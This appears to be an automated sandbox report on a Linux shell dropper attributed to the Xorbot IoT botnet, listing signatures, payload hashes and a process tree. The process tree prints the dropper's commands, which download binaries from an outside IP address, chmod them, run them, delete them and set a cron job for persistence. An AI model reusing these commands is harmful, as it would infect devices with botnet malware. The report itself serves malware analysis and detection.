Analysis

  • max time kernel
    150s
  • max time network
    162s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/12/2024, 03:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    76cb499bf206bd1606439aa4cb42c17f

  • SHA1

    583a6a1e14a9d811f2e3da46dc1ed703c58c0bc4

  • SHA256

    c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab

  • SHA512

    fcee5155d2be7d5569befd90710c34d50ae5b4c54a1c554e0fe0ed50e31e6c98fa6216e59a10a1eac872ef13523c987f9f780b67fc65201670fb33085cf27c24

  • SSDEEP

    96:leZwAhF+MMvCSiZ1r3W5IW9phh0UwTCSiZ1Hj3uKap+8X7V9phh0UwweZwAhFjW0:leZwAhFJMs3W5I6seZwAhF6c

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:665
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:668
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:672
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:687
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod 777 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • File and Directory Permissions Modification
          PID:697
        • /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          ./zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Executes dropped EXE
          PID:698
        • /bin/rm
          rm zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
            PID:701
          • /usr/bin/wget
            wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • Writes file to tmp directory
            PID:702
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:703
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • Writes file to tmp directory
            PID:704
          • /bin/chmod
            chmod 777 UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • File and Directory Permissions Modification
            PID:707
          • /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            ./UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:708
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:710
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:712
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:714
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:715
              • /bin/rm
                rm UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
                2⤵
                  PID:718
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                  2⤵
                    PID:722
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                    2⤵
                      PID:723
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                      2⤵
                      • Writes file to tmp directory
                      PID:725
                    • /bin/chmod
                      chmod 777 DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                      2⤵
                      • File and Directory Permissions Modification
                      PID:730
                    • /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                      ./DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                      2⤵
                      • Executes dropped EXE
                      PID:731
                    • /bin/rm
                      rm DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                      2⤵
                        PID:735
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                        2⤵
                          PID:736
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                          2⤵
                            PID:739
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                            2⤵
                            • Writes file to tmp directory
                            PID:740
                          • /bin/chmod
                            chmod 777 KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                            2⤵
                            • File and Directory Permissions Modification
                            PID:745
                          • /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                            ./KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                            2⤵
                            • Executes dropped EXE
                            PID:746
                          • /bin/rm
                            rm KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                            2⤵
                              PID:749
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                              2⤵
                                PID:750
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                2⤵
                                  PID:752
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:753
                                • /bin/chmod
                                  chmod 777 f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:758
                                • /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                  ./f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                  2⤵
                                  • Executes dropped EXE
                                  PID:759
                                • /bin/rm
                                  rm f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                  2⤵
                                    PID:762
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                    2⤵
                                      PID:763
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                      2⤵
                                        PID:765
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:766
                                      • /bin/chmod
                                        chmod 777 bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:773
                                      • /tmp/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                        ./bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                        2⤵
                                        • Executes dropped EXE
                                        PID:775
                                      • /bin/rm
                                        rm bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                        2⤵
                                          PID:778
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6
                                          2⤵
                                            PID:780
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6
                                            2⤵
                                              PID:782
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:787
                                            • /bin/chmod
                                              chmod 777 kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:793
                                            • /tmp/kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6
                                              ./kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6
                                              2⤵
                                              • Executes dropped EXE
                                              PID:795
                                            • /bin/rm
                                              rm kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6
                                              2⤵
                                                PID:797
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/2hkTwUD8UoS0RyOxxZapjWrOeOGD2PTr7w
                                                2⤵
                                                  PID:798
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/2hkTwUD8UoS0RyOxxZapjWrOeOGD2PTr7w
                                                  2⤵
                                                    PID:799
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/2hkTwUD8UoS0RyOxxZapjWrOeOGD2PTr7w
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:801
                                                  • /bin/chmod
                                                    chmod 777 2hkTwUD8UoS0RyOxxZapjWrOeOGD2PTr7w
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:802
                                                  • /tmp/2hkTwUD8UoS0RyOxxZapjWrOeOGD2PTr7w
                                                    ./2hkTwUD8UoS0RyOxxZapjWrOeOGD2PTr7w
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:803
                                                  • /bin/rm
                                                    rm 2hkTwUD8UoS0RyOxxZapjWrOeOGD2PTr7w
                                                    2⤵
                                                      PID:804
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/oZ7gATJ7DDRWooehmVAdEyQhM3ITo078bb
                                                      2⤵
                                                        PID:805
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.240/bins/oZ7gATJ7DDRWooehmVAdEyQhM3ITo078bb
                                                        2⤵
                                                          PID:806
                                                        • /bin/busybox
                                                          /bin/busybox wget http://216.126.231.240/bins/oZ7gATJ7DDRWooehmVAdEyQhM3ITo078bb
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:807
                                                        • /bin/chmod
                                                          chmod 777 oZ7gATJ7DDRWooehmVAdEyQhM3ITo078bb
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:808
                                                        • /tmp/oZ7gATJ7DDRWooehmVAdEyQhM3ITo078bb
                                                          ./oZ7gATJ7DDRWooehmVAdEyQhM3ITo078bb
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:809
                                                        • /bin/rm
                                                          rm oZ7gATJ7DDRWooehmVAdEyQhM3ITo078bb
                                                          2⤵
                                                            PID:810
                                                          • /usr/bin/wget
                                                            wget http://216.126.231.240/bins/yiQPBBkDRhh5ZCOQpnTZtza4P78v76BGKH
                                                            2⤵
                                                              PID:812

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/2hkTwUD8UoS0RyOxxZapjWrOeOGD2PTr7w

                                                            Filesize

                                                            177KB

                                                            MD5

                                                            786d75a158fe731feca3880f436082c0

                                                            SHA1

                                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                            SHA256

                                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                            SHA512

                                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                          • /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                                            SHA1

                                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                            SHA256

                                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                            SHA512

                                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                          • /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5

                                                            Filesize

                                                            99KB

                                                            MD5

                                                            9438d9bc392bcf300a5583b6df5bc8f6

                                                            SHA1

                                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                                            SHA256

                                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                            SHA512

                                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                          • /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx

                                                            Filesize

                                                            127KB

                                                            MD5

                                                            89077b7bd4bcafca7713be43635c4862

                                                            SHA1

                                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                                            SHA256

                                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                            SHA512

                                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                          • /tmp/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07

                                                            Filesize

                                                            111KB

                                                            MD5

                                                            ca897a38f23ec23521ce0b1b83f8422d

                                                            SHA1

                                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                            SHA256

                                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                            SHA512

                                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                          • /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            6c583043d91c55aa470c08c87058e917

                                                            SHA1

                                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                                            SHA256

                                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                            SHA512

                                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                          • /tmp/kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6

                                                            Filesize

                                                            112KB

                                                            MD5

                                                            05d7857dcead18bbd86d2935f591873c

                                                            SHA1

                                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                            SHA256

                                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                            SHA512

                                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                          • /tmp/oZ7gATJ7DDRWooehmVAdEyQhM3ITo078bb

                                                            Filesize

                                                            141KB

                                                            MD5

                                                            3ca8decdb1e52c423c521bfff02ac200

                                                            SHA1

                                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                            SHA256

                                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                            SHA512

                                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                          • /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

                                                            Filesize

                                                            98KB

                                                            MD5

                                                            5141342d0df8699fa32a6b066a0c592e

                                                            SHA1

                                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                            SHA256

                                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                            SHA512

                                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                          • /var/spool/cron/crontabs/tmp.jYnM0J

                                                            Filesize

                                                            210B

                                                            MD5

                                                            96d3f6d6403c2589d62e6a99a974b232

                                                            SHA1

                                                            bb4748b19062e9665be00f126433b94ee7cfed2e

                                                            SHA256

                                                            bf58a7c6e56b9f0b7caa750f8d40ff848583e595d1461dc59dc94010c2d2e7ef

                                                            SHA512

                                                            5997645ce814d74ae1a41e9ab6e34dc2b507886afa3d686e79af08b5139247c714478c7c1953d85a6260af923161ee9993b11b3536192f294b408fcd19399b6e